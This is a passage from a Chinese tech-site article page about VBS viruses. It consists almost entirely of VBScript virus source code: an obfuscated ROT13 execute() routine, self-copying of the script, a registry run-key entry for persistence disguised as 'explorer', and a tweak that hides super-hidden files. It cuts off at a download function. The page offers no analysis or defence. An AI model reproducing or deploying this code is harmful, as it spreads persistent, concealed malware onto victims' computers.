中vbs病毒会怎么样_vbs病毒_vbs病毒专杀(12)

function jincheng(where,geshu)

execute(uc("ba reebe erfhzr arkg}{frg l=trgbowrpg(|jvaztzgf://./ebbg/pvzi2|) }{frg k=l.rkrpdhrel(|fryrpg * sebz jva32_cebprff jurer anzr='|&jurer&|'|)}{v=1 }{sbe rnpu w va k }{v=v+1}{arkg}{vs abg re gura}{vs v>trfuh gura wvapurat = gehr}{ryfr}{wvapurat = 1}{raq vs"))

end function

function copyfile(file,where)

delfile where

if fso.fileexists(file) then

fso.copyfile file,where,true

end if

end function

function copyvbs(where)

delfile where

set self=fso.opentextfile(mulu&ouwnname,1)

vbscopy=self.readall

self.close

set vbs = fso.createtextfile(where, true)

vbs.write vbscopy

vbs.close

shuxing where,2+4

end function

function zhuce()

RegPath="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/policies/Explorer/run/"

Type_Name="REG_SZ"

Key_Name="explorer"

Key_Data=filename&".vbe"

Wsh.RegWrite RegPath&Key_Name,Key_Data,Type_Name

end function

function yincang()

RegPath="HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced/"

Type_Name="REG_DWORD"

Key_Name="ShowSuperHidden"

Key_Data="00000000"

Wsh.RegWrite RegPath&Key_Name,Key_Data,Type_Name

end function

function buildfold(path)

if fso.folderexists(path) then

exit function

end if

if not fso.folderexists(fso.getparentfoldername(path)) then

buildfold fso.getparentfoldername(path)

end if

fso.createfolder(path)

end function

function dowork(pcs,fname,furl,time)

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25803-12.html